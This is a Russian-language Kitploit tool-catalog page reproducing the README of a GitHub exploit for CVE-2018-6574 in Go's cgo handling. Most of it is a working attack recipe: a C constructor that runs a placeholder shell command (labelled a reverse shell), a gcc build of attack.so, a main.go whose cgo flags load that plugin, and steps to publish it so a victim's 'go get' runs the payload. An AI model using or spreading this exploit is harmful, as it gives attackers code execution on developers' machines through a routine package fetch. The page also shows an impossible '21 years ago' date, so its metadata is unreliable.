Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/paulogmota/cve-2018-6574
Анализ уязвимостейЭксплуатацияШелл-кодТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

Эксплойт Golang cgo для CVE-2018-6574

Репозиторий
21 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-6574

Шаги для воспроизведения:

  1. Создайте .c файл, содержащий вредоносную команду (revshell):
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
  1. Скомпилируйте его с помощью GCC. Компиляция должна производиться на той же архитектуре и ОС, что и цель (например, Linux x86_64):
root@kitploit:~
gcc -shared -o attack.so -fPIC attack.c
  1. Создайте файл main.go, содержащий заголовки, которые укажут Go использовать наш вредоносный плагин:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. Разместите файлы main.go и в репозитории на github
attack.so
  • На целевой машине выполните команду go get github.com/<ваше-имя>/<ваш-репозиторий>
  • Радуйтесь
  • Скачать инструмент